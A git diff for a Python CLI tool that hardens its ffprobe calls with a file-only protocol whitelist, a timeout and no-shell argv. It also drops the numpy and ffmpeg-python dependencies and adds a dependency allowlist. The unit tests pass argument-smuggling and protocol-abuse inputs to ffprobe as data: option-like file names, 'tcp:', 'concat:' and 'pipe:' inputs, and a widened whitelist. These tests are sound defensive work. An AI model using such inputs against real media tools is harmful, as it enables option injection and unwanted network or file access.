 .../tests/unit/test_audio_command.py          | 246 +++++++++++++--
 packages/deepctl-cmd-debug-network/README.md  |   1 -
 .../deepctl-cmd-debug-network/pyproject.toml  |   1 -
 packages/deepctl-cmd-listen/README.md         |   1 -
 packages/deepctl-cmd-listen/pyproject.toml    |   1 -
 .../src/deepctl_cmd_listen/command.py         |   3 +-
 .../tests/unit/test_listen_command.py         | 198 +++++++++++-
 pyproject.toml                                |   9 +-
 tests/unit/dependency_allowlist.txt           |  79 +++++
 tests/unit/test_dependency_allowlist.py       | 282 ++++++++++++++++++
 tests/upgrade/lowest_direct.sh                |   2 +
 uv.lock                                       | 254 ----------------
 15 files changed, 830 insertions(+), 314 deletions(-)
 create mode 100644 tests/unit/dependency_allowlist.txt
 create mode 100644 tests/unit/test_dependency_allowlist.py

diff --git a/packages/deepctl-cmd-debug-audio/README.md b/packages/deepctl-cmd-debug-audio/README.md
index 832eb13c..ac7a1d16 100644
--- a/packages/deepctl-cmd-debug-audio/README.md
+++ b/packages/deepctl-cmd-debug-audio/README.md
@@ -38,7 +38,6 @@ pipx run deepctl --help
 - `click>=8.2.0,<9`
 - `rich>=13.0.0,<16`
 - `pydantic>=2.0.0,<3`
-- `ffmpeg-python>=0.2.0`
 - `httpx>=0.24.0,<1`
 
 ## License
diff --git a/packages/deepctl-cmd-debug-audio/pyproject.toml b/packages/deepctl-cmd-debug-audio/pyproject.toml
index 57061a62..0aba4d52 100644
--- a/packages/deepctl-cmd-debug-audio/pyproject.toml
+++ b/packages/deepctl-cmd-debug-audio/pyproject.toml
@@ -26,7 +26,6 @@ dependencies = [
     "click>=8.2.0,<9",
     "rich>=13.0.0,<16",
     "pydantic>=2.0.0,<3",
-    "ffmpeg-python>=0.2.0",
     "httpx>=0.24.0,<1",
 ]
 
diff --git a/packages/deepctl-cmd-debug-audio/src/deepctl_cmd_debug_audio/command.py b/packages/deepctl-cmd-debug-audio/src/deepctl_cmd_debug_audio/command.py
index aec07b51..710db3d8 100644
--- a/packages/deepctl-cmd-debug-audio/src/deepctl_cmd_debug_audio/command.py
+++ b/packages/deepctl-cmd-debug-audio/src/deepctl_cmd_debug_audio/command.py
@@ -8,7 +8,6 @@
 from typing import Any
 from urllib.parse import urlparse
 
-import ffmpeg  # type: ignore[import-untyped]
 from deepctl_core import (
     AuthManager,
     BaseCommand,
@@ -45,6 +44,32 @@ def _ffprobe_input(file_path: str) -> str:
 console = get_console()
 status_console = get_status_console()
 
+# Seconds a single ffprobe run may take before it is abandoned.
+FFPROBE_TIMEOUT_S = 30
+
+
+def _probe_input(path: str) -> list[str]:
+    """ffprobe's input arguments, always last on the command line.
+
+    The input is always a local file (URLs are downloaded first), so ffprobe
+    may open it only through the file protocol: tcp:, concat:, pipe: and the
+    rest are refused. It is named as ``file:<absolute path>``
+    (``_ffprobe_input``), so ffprobe reads it as a file and never as an
+    option, whatever it is called.
+    """
+    return ["-protocol_whitelist", "file", _ffprobe_input(path)]
+
+
+def _run_ffprobe(cmd: list[str]) -> "subprocess.CompletedProcess[bytes]":
+    """Run ffprobe from an argv list: no shell, no stdin, bounded in time."""
+    return subprocess.run(
+        cmd,
+        stdin=subprocess.DEVNULL,
+        capture_output=True,
+        timeout=FFPROBE_TIMEOUT_S,
+        check=False,
+    )
+
 
 def _human_output() -> bool:
     """True when stdout is for a person, not a parser."""
@@ -239,17 +264,37 @@ def run_ffprobe(
                 # value stays one argument, and run ffprobe directly
                 cmd = [ffprobe_bin, "-v", "quiet", "-print_format", "json"]
                 cmd.extend(shlex.split(custom_args))
-                cmd.append(_ffprobe_input(file_path))
+                cmd.extend(_probe_input(file_path))
 
-                result = subprocess.run(cmd, capture_output=True, text=True)
+                result = _run_ffprobe(cmd)
                 if result.returncode != 0:
-                    raise Exception(f"ffprobe failed: {result.stderr}")
-
-                return dict(json.loads(result.stdout))
-            else:
-                # Use python-ffmpeg for standard probe
-                probe = ffmpeg.probe(_ffprobe_input(file_path), cmd=ffprobe_bin)
-                return dict(probe)
+                    stderr = result.stderr.decode("utf-8", errors="replace")
+                    raise Exception(f"ffprobe failed: {stderr}")
+
+                return dict(json.loads(result.stdout.decode("utf-8")))
+            # The standard probe: the argv ffmpeg-python's probe() built,
+            # plus the file-only protocol whitelist.
+            cmd = [
+                ffprobe_bin,
+                "-show_format",
+                "-show_streams",
+                "-of",
+                "json",
+                *_probe_input(file_path),
+            ]
+            probe = _run_ffprobe(cmd)
+            if probe.returncode != 0:
+                # stderr is captured, so say what ffprobe said: its last line.
+                said = [
+                    line.strip()
+                    for line in (probe.stderr or b"")
+                    .decode("utf-8", "replace")
+                    .splitlines()
+                    if line.strip()
+                ]
+                why = said[-1][:300] if said else f"exit {probe.returncode}"
+                raise Exception(f"ffprobe couldn't read the file: {why}")
+            return dict(json.loads(probe.stdout.decode("utf-8")))
         except Exception as e:
             raise Exception(f"Failed to probe file: {e!s}")
 
diff --git a/packages/deepctl-cmd-debug-audio/tests/unit/test_audio_command.py b/packages/deepctl-cmd-debug-audio/tests/unit/test_audio_command.py
index e8680cd9..fd9ac68b 100644
--- a/packages/deepctl-cmd-debug-audio/tests/unit/test_audio_command.py
+++ b/packages/deepctl-cmd-debug-audio/tests/unit/test_audio_command.py
@@ -2,9 +2,15 @@
 
 import json
 import os
+import shutil
+import socket
+import subprocess
+import threading
+import time
 from unittest.mock import MagicMock, Mock, patch
 
 import pytest
+from deepctl_cmd_debug_audio import command as command_module
 from deepctl_cmd_debug_audio.command import AudioCommand
 from deepctl_cmd_debug_audio.models import (
     AudioDebugResult,
@@ -12,7 +18,6 @@
     AudioInfo,
     AudioStream,
 )
-from deepctl_cmd_debug_audio import command as command_module
 from deepctl_core import AuthManager, Config, DeepgramClient
 
 
@@ -26,6 +31,15 @@ def _ffprobe_lookup_via_which(monkeypatch):
     )
 
 
+def _completed(returncode: int, stdout: str, stderr: bytes = b"") -> Mock:
+    """A subprocess.run result carrying ffprobe's bytes output."""
+    result = Mock()
+    result.returncode = returncode
+    result.stdout = stdout.encode("utf-8")
+    result.stderr = stderr
+    return result
+
+
 class TestAudioCommand:
     """Test cases for AudioCommand."""
 
@@ -109,30 +123,103 @@ def test_check_ffmpeg_installed(self, mock_which, command):
         assert command.check_ffmpeg_installed() is False
 
     @patch("shutil.which", return_value="/usr/bin/ffprobe")
-    @patch("ffmpeg.probe")
+    @patch("subprocess.run")
     def test_run_ffprobe_standard(
-        self, mock_probe, mock_which, command, sample_probe_data
+        self, mock_run, mock_which, command, sample_probe_data
     ):
-        """Test running ffprobe without custom arguments."""
-        mock_probe.return_value = sample_probe_data
+        """The standard probe runs ffprobe's JSON argv as a list, no shell."""
+        mock_run.return_value = _completed(0, json.dumps(sample_probe_data))
 
         result = command.run_ffprobe("test.mp3")
 
         assert result == sample_probe_data
-        mock_probe.assert_called_once_with(
-            "file:" + os.path.abspath("test.mp3"), cmd="/usr/bin/ffprobe"
+        mock_run.assert_called_once()
+        args, kwargs = mock_run.call_args
+        assert args[0] == [
+            "/usr/bin/ffprobe",
+            "-show_format",
+            "-show_streams",
+            "-of",
+            "json",
+            "-protocol_whitelist",
+            "file",
+            "file:" + os.path.abspath("test.mp3"),
+        ]
+        assert kwargs.get("shell", False) is False
+        assert kwargs["timeout"] == 30
+        assert kwargs["capture_output"] is True
+        assert kwargs["stdin"] is subprocess.DEVNULL
+
+    @pytest.mark.parametrize(
+        ("given", "probed"),
+        [
+            ("-v.wav", "file:" + os.path.abspath("-v.wav")),
+            ("-show_entries.wav", "file:" + os.path.abspath("-show_entries.wav")),
+            ("/abs/-v.wav", "file:" + os.path.abspath("/abs/-v.wav")),
+            ("dir/-v.wav", "file:" + os.path.abspath("dir/-v.wav")),
+        ],
+    )
+    @patch("shutil.which", return_value="/usr/bin/ffprobe")
+    @patch("subprocess.run")
+    def test_run_ffprobe_never_passes_a_path_as_an_option(
+        self, mock_run, mock_which, command, sample_probe_data, given, probed
+    ):
+        """A file name that starts with "-" reaches ffprobe as a file."""
+        mock_run.return_value = _completed(0, json.dumps(sample_probe_data))
+
+        command.run_ffprobe(given)
+        assert mock_run.call_args[0][0][-3:] == ["-protocol_whitelist", "file", probed]
+
+        command.run_ffprobe(given, "-show_streams")
+        assert mock_run.call_args[0][0][-3:] == ["-protocol_whitelist", "file", probed]
+
+    @patch("shutil.which", return_value="/usr/bin/ffprobe")
+    @patch("subprocess.run")
+    def test_run_ffprobe_failure_says_what_ffprobe_said(
+        self, mock_run, mock_which, command
+    ):
+        """A non-zero ffprobe exit shows the last line ffprobe wrote."""
+        mock_run.return_value = _completed(
+            1, "", b"ffprobe version 7\n\nbroken.mp4: moov atom not found\n"
         )
 
+        with pytest.raises(Exception) as exc:
+            command.run_ffprobe("broken.mp4")
+
+        assert str(exc.value) == (
+            "Failed to probe file: ffprobe couldn't read the file: "
+            "broken.mp4: moov atom not found"
+        )
+
+        mock_run.return_value = _completed(1, "", b"")
+        with pytest.raises(Exception) as exc:
+            command.run_ffprobe("broken.mp4")
+        assert str(exc.value).endswith("ffprobe couldn't read the file: exit 1")
+
+    @patch("shutil.which", return_value="/usr/bin/ffprobe")
+    @patch("subprocess.run")
+    def test_run_ffprobe_timeout_is_a_probe_failure(
+        self, mock_run, mock_which, command
+    ):
+        """An ffprobe that hangs past the timeout is reported, not waited on."""
+        import subprocess
+
+        mock_run.side_effect = subprocess.TimeoutExpired(["ffprobe"], 30)
+
+        with pytest.raises(Exception) as exc:
+            command.run_ffprobe("slow.mp4")
+
+        assert str(exc.value).startswith("Failed to probe file: ")
+        assert "timed out after 30 seconds" in str(exc.value)
+
     @patch("shutil.which", return_value="/usr/bin/ffprobe")
     @patch("subprocess.run")
     def test_run_ffprobe_custom_args(
         self, mock_run, mock_which, command, sample_probe_data
     ):
-        """Test running ffprobe with custom arguments."""
-        mock_result = Mock()
-        mock_result.returncode = 0
-        mock_result.stdout = json.dumps(sample_probe_data)
-        mock_run.return_value = mock_result
+        """Custom arguments go before the input, which keeps the file-only
+        whitelist, the timeout and the closed stdin."""
+        mock_run.return_value = _completed(0, json.dumps(sample_probe_data))
 
         result = command.run_ffprobe("test.mp3", "-show_streams -show_format")
 
@@ -145,23 +232,44 @@ def test_run_ffprobe_custom_args(
             "json",
             "-show_streams",
             "-show_format",
+            "-protocol_whitelist",
+            "file",
             "file:" + os.path.abspath("test.mp3"),
         ]
         mock_run.assert_called_once()
         assert mock_run.call_args[0][0] == expected_cmd
+        assert mock_run.call_args[1]["timeout"] == 30
+        assert mock_run.call_args[1]["stdin"] is subprocess.DEVNULL
+
+    @patch("shutil.which", return_value="/usr/bin/ffprobe")
+    @patch("subprocess.run")
+    def test_run_ffprobe_custom_args_cannot_widen_the_whitelist(
+        self, mock_run, mock_which, command, sample_probe_data
+    ):
+        """A user-supplied -protocol_whitelist comes before ours, so the
+        file-only one is the one that applies to the input."""
+        mock_run.return_value = _completed(0, json.dumps(sample_probe_data))
+
+        command.run_ffprobe("test.mp3", "-protocol_whitelist file,tcp")
+
+        assert mock_run.call_args[0][0][-3:] == [
+            "-protocol_whitelist",
+            "file",
+            "file:" + os.path.abspath("test.mp3"),
+        ]
 
     @patch("shutil.which", return_value="/usr/bin/ffprobe")
-    @patch("ffmpeg.probe")
+    @patch("subprocess.run")
     def test_option_like_file_name_is_probed_as_a_file(
-        self, mock_probe, mock_which, command, sample_probe_data, tmp_path, monkeypatch
+        self, mock_run, mock_which, command, sample_probe_data, tmp_path, monkeypatch
     ):
         """A file named "-f lavfi" is an input, not options."""
-        mock_probe.return_value = sample_probe_data
+        mock_run.return_value = _completed(0, json.dumps(sample_probe_data))
         monkeypatch.chdir(tmp_path)
 
         command.run_ffprobe("-f lavfi")
 
-        target = mock_probe.call_args.args[0]
+        target = mock_run.call_args[0][0][-1]
         assert target == f"file:{tmp_path}{os.sep}-f lavfi"
         assert not target.startswith("-")
 
@@ -171,7 +279,7 @@ def test_custom_args_are_split_like_a_shell(
         self, mock_run, mock_which, command, sample_probe_data
     ):
         """--ffprobe-args keeps a quoted value as one argument (shlex)."""
-        mock_run.return_value = Mock(returncode=0, stdout=json.dumps(sample_probe_data))
+        mock_run.return_value = _completed(0, json.dumps(sample_probe_data))
 
         command.run_ffprobe(
             "-f lavfi", "-show_entries 'format=duration,size' -select_streams a"
@@ -183,6 +291,8 @@ def test_custom_args_are_split_like_a_shell(
             "format=duration,size",
             "-select_streams",
             "a",
+            "-protocol_whitelist",
+            "file",
             "file:" + os.path.abspath("-f lavfi"),
         ]
 
@@ -235,10 +345,10 @@ def test_handle_ffmpeg_not_installed(
         assert result.ffmpeg_installed is False
 
     @patch("shutil.which")
-    @patch("ffmpeg.probe")
+    @patch("subprocess.run")
     def test_handle_success(
         self,
-        mock_probe,
+        mock_run,
         mock_which,
         command,
         mock_config,
@@ -248,7 +358,7 @@ def test_handle_success(
     ):
         """Test successful audio file analysis."""
         mock_which.return_value = "/usr/bin/ffprobe"
-        mock_probe.return_value = sample_probe_data
+        mock_run.return_value = _completed(0, json.dumps(sample_probe_data))
 
         result = command.handle(
             config=mock_config,
@@ -264,10 +374,10 @@ def test_handle_success(
         assert result.audio_info.format.filename == "test.mp3"
 
     @patch("shutil.which")
-    @patch("ffmpeg.probe")
+    @patch("subprocess.run")
     def test_handle_probe_error(
         self,
-        mock_probe,
+        mock_run,
         mock_which,
         command,
         mock_config,
@@ -276,7 +386,7 @@ def test_handle_probe_error(
     ):
         """Test handling ffprobe errors."""
         mock_which.return_value = "/usr/bin/ffprobe"
-        mock_probe.side_effect = Exception("Failed to probe file")
+        mock_run.return_value = _completed(1, "", b"Invalid data found")
 
         result = command.handle(
             config=mock_config,
@@ -382,9 +492,7 @@ def test_analysis_failure_panel_goes_to_stderr(
     def test_human_rendering_is_suppressed_for_machines(
         self, _ffmpeg, _format, command, mocks, probe_data, capsys
     ):
-        with patch.object(
-            AudioCommand, "run_ffprobe", return_value=probe_data
-        ):
+        with patch.object(AudioCommand, "run_ffprobe", return_value=probe_data):
             result = command.handle(*mocks, file="test.mp3")
         captured = capsys.readouterr()
 
@@ -392,16 +500,12 @@ def test_human_rendering_is_suppressed_for_machines(
         assert captured.out == ""
         assert "Analyzing audio file" in captured.err
 
-    @patch(
-        "deepctl_cmd_debug_audio.command.get_output_format", return_value="default"
-    )
+    @patch("deepctl_cmd_debug_audio.command.get_output_format", return_value="default")
     @patch.object(AudioCommand, "check_ffmpeg_installed", return_value=True)
     def test_human_rendering_still_prints_for_humans(
         self, _ffmpeg, _format, command, mocks, probe_data, capsys
     ):
-        with patch.object(
-            AudioCommand, "run_ffprobe", return_value=probe_data
-        ):
+        with patch.object(AudioCommand, "run_ffprobe", return_value=probe_data):
             command.handle(*mocks, file="test.mp3")
         captured = capsys.readouterr()
 
@@ -423,3 +527,81 @@ def test_ffprobe_never_from_current_directory(tmp_path, monkeypatch):
     assert command.check_ffmpeg_installed() is False
     with pytest.raises(Exception, match="ffprobe not found"):
         command.run_ffprobe("a.wav")
+
+
+# -- real ffprobe: the argv hardening holds against the binary itself -------
+
+_FFPROBE = shutil.which("ffprobe")
+needs_ffprobe = pytest.mark.skipif(_FFPROBE is None, reason="ffprobe not installed")
+
+
+def _write_wav(path) -> None:
+    import wave
+
+    with wave.open(str(path), "wb") as w:
+        w.setnchannels(1)
+        w.setsampwidth(2)
+        w.setframerate(16000)
+        w.writeframes(b"\x00\x00" * 1600)
+
+
+@pytest.fixture
+def real_command(monkeypatch):
+    """An AudioCommand that uses the real ffprobe on PATH."""
+    monkeypatch.setattr(command_module, "resolve_tool", lambda *a: _FFPROBE)
+    return AudioCommand()
+
+
+@needs_ffprobe
+class TestRealFfprobe:
+    def test_dash_named_file_is_probed_as_a_file(
+        self, real_command, tmp_path, monkeypatch
+    ):
+        monkeypatch.chdir(tmp_path)
+        _write_wav(tmp_path / "-v.wav")
+
+        for custom in (None, "-show_streams"):
+            data = real_command.run_ffprobe("-v.wav", custom)
+            assert data["streams"][0]["codec_name"] == "pcm_s16le"
+
+    def test_tcp_input_is_refused_without_connecting(self, real_command):
+        listener = socket.socket()
+        listener.bind(("127.0.0.1", 0))
+        listener.listen(1)
+        listener.settimeout(0.2)
+        port = listener.getsockname()[1]
+        accepted: list[object] = []
+        stop = threading.Event()
+
+        def accept() -> None:
+            while not stop.is_set():
+                try:
+                    accepted.append(listener.accept()[0])
+                except OSError:
+                    continue
+
+        thread = threading.Thread(target=accept, daemon=True)
+        thread.start()
+        try:
+            for custom in (None, "-show_streams", "-protocol_whitelist file,tcp"):
+                with pytest.raises(Exception, match="^Failed to probe file: "):
+                    real_command.run_ffprobe(f"tcp://127.0.0.1:{port}", custom)
+            time.sleep(0.3)
+        finally:
+            stop.set()
+            thread.join(2)
+            listener.close()
+        assert accepted == []
+
+    def test_concat_input_is_refused(self, real_command, tmp_path, monkeypatch):
+        monkeypatch.chdir(tmp_path)
+        _write_wav(tmp_path / "a.wav")
+
+        with pytest.raises(Exception, match="^Failed to probe file: "):
+            real_command.run_ffprobe("concat:a.wav|a.wav")
+
+    def test_pipe_input_returns_promptly(self, real_command):
+        start = time.monotonic()
+        with pytest.raises(Exception, match="^Failed to probe file: "):
+            real_command.run_ffprobe("pipe:0")
+        assert time.monotonic() - start < 5
diff --git a/packages/deepctl-cmd-debug-network/README.md b/packages/deepctl-cmd-debug-network/README.md
index 2da03160..b79e01c5 100644
--- a/packages/deepctl-cmd-debug-network/README.md
+++ b/packages/deepctl-cmd-debug-network/README.md
@@ -39,7 +39,6 @@ pipx run deepctl --help
 - `rich>=13.0.0,<16`
 - `pydantic>=2.0.0,<3`
 - `httpx>=0.24.0,<1`
-- `requests>=2.31,<3.0`
 
 ## License
 
diff --git a/packages/deepctl-cmd-debug-network/pyproject.toml b/packages/deepctl-cmd-debug-network/pyproject.toml
index a37b284d..1af030f6 100644
--- a/packages/deepctl-cmd-debug-network/pyproject.toml
+++ b/packages/deepctl-cmd-debug-network/pyproject.toml
@@ -27,7 +27,6 @@ dependencies = [
     "rich>=13.0.0,<16",
     "pydantic>=2.0.0,<3",
     "httpx>=0.24.0,<1",
-    "requests>=2.31,<3.0",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-listen/README.md b/packages/deepctl-cmd-listen/README.md
index 864fa2e9..e767a5a7 100644
--- a/packages/deepctl-cmd-listen/README.md
+++ b/packages/deepctl-cmd-listen/README.md
@@ -45,7 +45,6 @@ Status lines and errors show the URL as `scheme://host/…/<last path segment>`,
 - `websockets>=13.1,<18`
 - `deepgram-captions>=2.0.0`
 - `sounddevice>=0.4.6`
-- `numpy>=1.24.0`
 
 ## License
 
diff --git a/packages/deepctl-cmd-listen/pyproject.toml b/packages/deepctl-cmd-listen/pyproject.toml
index c770b6ee..e41dc167 100644
--- a/packages/deepctl-cmd-listen/pyproject.toml
+++ b/packages/deepctl-cmd-listen/pyproject.toml
@@ -30,7 +30,6 @@ dependencies = [
     "websockets>=13.1,<18",
     "deepgram-captions>=2.0.0",
     "sounddevice>=0.4.6",
-    "numpy>=1.24.0",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index b36e567f..93c7e3ba 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -1017,7 +1017,6 @@ async def _ws_mic(
     ) -> BaseResult | ListenCodedError:
         import asyncio
 
-        import numpy as np
         import sounddevice as sd
 
         from . import live
@@ -1062,7 +1061,7 @@ def start_mic() -> None:
             stream = sd.RawInputStream(
                 samplerate=sample_rate,
                 channels=channels,
-                dtype=np.int16,
+                dtype="int16",
                 callback=callback,
                 blocksize=live.frame_bytes("linear16", sample_rate, channels)
                 // (2 * channels),
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
index f3e2da3d..10d5401a 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
@@ -1099,6 +1099,201 @@ def close(self):
         assert command.exit_code_for(result) == 0
         assert '{"type": "CloseStream"}' in ws.sent
 
+    def test_ws_mic_streams_raw_int16_frames_without_numpy(self, command, monkeypatch):
+        """The mic path opens a raw int16 stream and forwards each callback
+        buffer to the socket byte for byte, with numpy unimportable."""
+        import asyncio as _asyncio
+        import json as _json
+        import signal
+        import sys
+        import types
+        from array import array
+        from unittest.mock import MagicMock
+
+        from deepctl_cmd_listen import live
+
+        # Any `import numpy` now raises ImportError.
+        monkeypatch.setitem(sys.modules, "numpy", None)
+
+        # Fixed fixture: three 4-sample blocks of native-order int16, as
+        # PortAudio delivers them to the callback.
+        samples = [0, 1, -1, 32767, -32768, 1234, -1234, 7, 8, 9, -9, 0]
+        blocks = [array("h", samples[i : i + 4]).tobytes() for i in range(0, 12, 4)]
+
+        opened: dict = {}
+
+        class _FakeRawInputStream:
+            def __init__(self, **kwargs):
+                opened.update(kwargs)
+                self.events: list[str] = []
+                opened["stream"] = self
+
+            def start(self):
+                self.events.append("start")
+                for block in blocks:
+                    # sounddevice hands the callback a CFFI buffer; a
+                    # memoryview is the same buffer-protocol object.
+                    opened["callback"](memoryview(block), 4, None, None)
+
+            def stop(self):
+                self.events.append("stop")
+
+            def close(self):
+                self.events.append("close")
+
+        fake_sd = types.ModuleType("sounddevice")
+        fake_sd.RawInputStream = _FakeRawInputStream
+        monkeypatch.setitem(sys.modules, "sounddevice", fake_sd)
+
+        ws = _EndOnCloseStream()
+        _install_websockets(monkeypatch, ws)
+
+        client = MagicMock()
+        client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
+        client.auth_manager.get_api_key.return_value = "k"
+
+        loop = _asyncio.new_event_loop()
+        # The user's Ctrl-C, once the three blocks are on the socket.
+        loop.call_later(0.2, signal.raise_signal, signal.SIGINT)
+        try:
+            loop.run_until_complete(
+                command._ws_mic(
+                    client,
+                    model="nova-3",
+                    language="en-US",
+                    api_version=1,
+                    diarize=False,
+                    smart_format=True,
+                    punctuate=True,
+                    interim=False,
+                    redact=(),
+                    numerals=False,
+                    sample_rate=16000,
+                    channels=1,
+                )
+            )
+        finally:
+            loop.close()
+
+        audio = [frame for frame in ws.sent if isinstance(frame, bytes)]
+        assert opened["dtype"] == "int16"
+        assert opened["samplerate"] == 16000
+        assert opened["channels"] == 1
+        assert opened["blocksize"] == live.frame_bytes("linear16", 16000, 1) // 2
+        assert audio == blocks
+        assert _json.loads(ws.sent[-1]) == {"type": "CloseStream"}
+        assert opened["stream"].events == ["start", "stop", "close"]
+
+    def test_sigint_during_mic_capture_stops_cleanly(self, command, monkeypatch):
+        """A real SIGINT while frames are flowing stops the capture: the
+        stream is stopped and closed, CloseStream is sent, and the transcript
+        so far is kept on every Python version. Ctrl-C is how a mic session
+        ends, so the result is success, exit 0."""
+        import json as _json
+        import os
+        import signal
+        import sys
+        import threading
+        import time
+        import types
+        from unittest.mock import MagicMock
+
+        if signal.getsignal(signal.SIGINT) is not signal.default_int_handler:
+            pytest.skip("SIGINT is not Python's default handler here")
+        monkeypatch.setitem(sys.modules, "numpy", None)
+
+        events: list[str] = []
+
+        class _PacedStream:
+            def __init__(self, *, callback, blocksize, samplerate, **kwargs):
+                self._callback = callback
+                self._period = blocksize / samplerate
+                self._stop = threading.Event()
+                self._thread = threading.Thread(target=self._run, daemon=True)
+
+            def _run(self):
+                while not self._stop.wait(self._period):
+                    self._callback(memoryview(b"\x01\x00" * 800), 800, None, None)
+
+            def start(self):
+                events.append("start")
+                self._thread.start()
+
+            def stop(self):
+                events.append("stop")
+                self._stop.set()
+
+            def close(self):
+                events.append("close")
+
+        fake_sd = types.ModuleType("sounddevice")
+        fake_sd.RawInputStream = _PacedStream
+        monkeypatch.setitem(sys.modules, "sounddevice", fake_sd)
+
+        class _OneResultThenEndOnClose(_EndOnCloseStream):
+            def __init__(self):
+                super().__init__()
+                self._said = False
+                self._pressed = False
+
+            async def send(self, data):
+                await super().send(data)
+                audio = [f for f in self.sent if isinstance(f, bytes)]
+                if len(audio) == 3 and not self._pressed:
+                    # Frames are flowing: the user presses Ctrl-C, once (a
+                    # later CloseStream send must not schedule another).
+                    self._pressed = True
+                    threading.Timer(0.05, os.kill, (os.getpid(), signal.SIGINT)).start()
+
+            async def __anext__(self):
+                if not self._said:
+                    self._said = True
+                    return _json.dumps(
+                        {
+                            "type": "Results",
+                            "is_final": True,
+                            "start": 0.0,
+                            "duration": 1.0,
+                            "channel": {
+                                "alternatives": [{"transcript": "hi", "words": []}]
+                            },
+                        }
+                    )
+                return await super().__anext__()
+
+        ws = _OneResultThenEndOnClose()
+        _install_websockets(monkeypatch, ws)
+
+        client = MagicMock()
+        client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
+        client.auth_manager.get_api_key.return_value = "k"
+
+        start = time.monotonic()
+        result = command._stream_mic(
+            client,
+            model="nova-3",
+            language="en-US",
+            api_version=1,
+            diarize=False,
+            smart_format=True,
+            punctuate=True,
+            interim=False,
+            redact=(),
+            numerals=False,
+            sample_rate=16000,
+            channels=1,
+            save_to=None,
+            caption_format=None,
+        )
+
+        assert time.monotonic() - start < 5
+        assert events == ["start", "stop", "close"]
+        assert all(isinstance(frame, bytes) for frame in ws.sent[:3])
+        assert _json.loads(ws.sent[-1]) == {"type": "CloseStream"}
+        assert result.status == "success"
+        assert result.transcript == "hi"
+        assert command.exit_code_for(result) == 0
+
     def test_end_of_turn_with_empty_transcript_is_noop(self, command, capsys):
         """An EndOfTurn that never carried text emits nothing (no blank line)."""
         acc: list[str] = []
@@ -1214,10 +1409,7 @@ def close(self):
 
         fake_sounddevice = types.ModuleType("sounddevice")
         fake_sounddevice.RawInputStream = _FakeInputStream
-        fake_numpy = types.ModuleType("numpy")
-        fake_numpy.int16 = "int16"
         monkeypatch.setitem(sys.modules, "sounddevice", fake_sounddevice)
-        monkeypatch.setitem(sys.modules, "numpy", fake_numpy)
 
         client = MagicMock()
         client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
diff --git a/pyproject.toml b/pyproject.toml
index 08d77a05..41774642 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -155,15 +155,10 @@ disable_error_code = ["call-arg", "no-untyped-call", "no-untyped-def", "untyped-
 module = [
     "sounddevice",
     "sounddevice.*",
-    "numpy",
-    "numpy.*",
 ]
-# Optional microphone dependencies (sounddevice, numpy) ship without type
-# stubs.
+# The microphone dependency (sounddevice) ships without type stubs. Skip
+# analyzing it; usages fall back to Any.
 ignore_missing_imports = true
-# numpy>=2.2 ships PEP 695 `type` aliases in its stubs, which mypy rejects
-# under python_version = "3.10" (aborting before our code is checked). Skip
-# analyzing these third-party stubs entirely; usages fall back to Any.
 follow_imports = "skip"
 follow_imports_for_stubs = true
 
diff --git a/tests/unit/dependency_allowlist.txt b/tests/unit/dependency_allowlist.txt
new file mode 100644
index 00000000..ea295a41
--- /dev/null
+++ b/tests/unit/dependency_allowlist.txt
@@ -0,0 +1,79 @@
+# Third-party distributions the 30 lockstep packages may pull in at runtime,
+# on any platform or Python version uv.lock covers (PEP 503 names, sorted).
+# Checked by tests/unit/test_dependency_allowlist.py. Adding a runtime
+# dependency, direct or transitive, means adding it here in the same PR.
+# numpy, ffmpeg-python and future were dropped in 0.5.0 and are refused
+# even if listed.
+# Format: one name per line, optionally followed by flags. The only flag is
+# `floors-only`: the name is reached only when a dependency sits at its
+# declared floor (the lowest-direct CI job), not through uv.lock, and that
+# job checks it is really installed there. Text after "#" is a comment.
+aiohappyeyeballs
+aiohttp
+aiosignal
+annotated-types
+anyio
+async-timeout
+attrs
+backports-tarfile
+certifi
+cffi
+charset-normalizer
+click
+colorama
+cryptography
+deepgram-captions
+deepgram-sdk
+exceptiongroup
+frozenlist
+h11
+httpcore
+httpx
+httpx-sse
+idna
+importlib-metadata
+jaraco-classes
+jaraco-context
+jaraco-functools
+jeepney
+jsonschema
+jsonschema-specifications
+keyring
+markdown-it-py
+mcp
+mdurl
+more-itertools
+multidict
+packaging
+platformdirs
+propcache
+pycparser
+pydantic
+pydantic-core
+pydantic-settings
+pygments
+pyjwt
+pyparsing floors-only  # via packaging 21.x
+python-dotenv
+python-multipart
+pywin32
+pywin32-ctypes
+pyyaml
+referencing
+requests
+rich
+rpds-py
+secretstorage
+sentry-sdk
+sniffio floors-only  # via older anyio/httpx
+sounddevice
+sse-starlette
+starlette
+toml
+typing-extensions
+typing-inspection
+urllib3
+uvicorn
+websockets
+yarl
+zipp
diff --git a/tests/unit/test_dependency_allowlist.py b/tests/unit/test_dependency_allowlist.py
new file mode 100644
index 00000000..c2e24353
--- /dev/null
+++ b/tests/unit/test_dependency_allowlist.py
@@ -0,0 +1,282 @@
+"""The third-party closure of the 30 lockstep packages is allowlisted.
+
+Every distribution a plain `pip install deepctl` can pull in, on any
+platform or Python the lock covers, must be named in
+`dependency_allowlist.txt`. A new runtime dependency, direct or transitive,
+fails here until someone adds it on purpose. numpy, ffmpeg-python and future
+were dropped in 0.5.0 (the install diet) and must not come back, allowlisted
+or not.
+
+Two views of the closure are checked:
+
+* the lock: `uv.lock`'s runtime `dependencies` for every lockstep package,
+  across all markers, followed transitively (extras included). This is the
+  same graph the Requires-Dist metadata describes, read without installing.
+* the installed environment: Requires-Dist of the installed lockstep
+  distributions, evaluated for this interpreter and followed transitively.
+"""
+
+from __future__ import annotations
+
+import os
+import re
+import sys
+from importlib import metadata
+from pathlib import Path
+from typing import Any
+
+import pytest
+
+if sys.version_info >= (3, 11):
+    import tomllib
+else:  # pragma: no cover - only taken on Python 3.10
+    import tomli as tomllib
